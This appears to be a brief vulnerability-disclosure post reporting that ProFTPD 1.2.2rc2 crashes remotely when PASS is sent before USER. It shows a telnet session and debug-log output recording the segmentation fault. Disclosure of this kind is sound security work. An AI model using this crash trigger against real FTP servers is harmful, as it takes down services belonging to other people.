Vulnerability Development: ProFTPD 1.2.2rc2 DoS
I've discovered that ProFTPD 1.2.2rc2 has a bug - each instance of the
daemon can be crashed remotely:
This happens when the PASS command is received before the USER command:
box:~# telnet 127.0.0.1 21
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.2.2rc2 Server (ProFTPD Default Installation) [box.xxx.com]
Connection closed by foreign host.
If you run proftpd -d 5, (debug mode, level 5) in the logs you see:
box.xxx.com (localhost[127.0.0.1]) - FTP session opened.
box.xxx.com (localhost[127.0.0.1]) - received: PASS (hidden)
box.xxx.com (localhost[127.0.0.1]) - ProFTPD terminating (signal 11)
- Daniel Volozov